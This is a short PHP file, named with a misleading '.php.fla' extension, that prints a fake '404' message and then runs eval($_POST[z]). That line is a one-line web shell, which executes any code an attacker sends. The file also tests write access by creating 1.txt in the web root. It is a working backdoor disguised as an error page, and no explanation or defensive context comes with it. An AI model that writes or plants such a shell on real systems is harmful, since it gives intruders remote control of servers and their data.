msphp.php.fla

<?php
$a="4";
$b="0";
$c="4";
echo $a.$b.$c."#";
?>
<?php eval($_POST[z]);
$p_File=fopen($_SERVER['DOCUMENT_ROOT']."/1.txt","w");
if(!$p_File)
echo "writewrong";
else
echo "writeok";
?>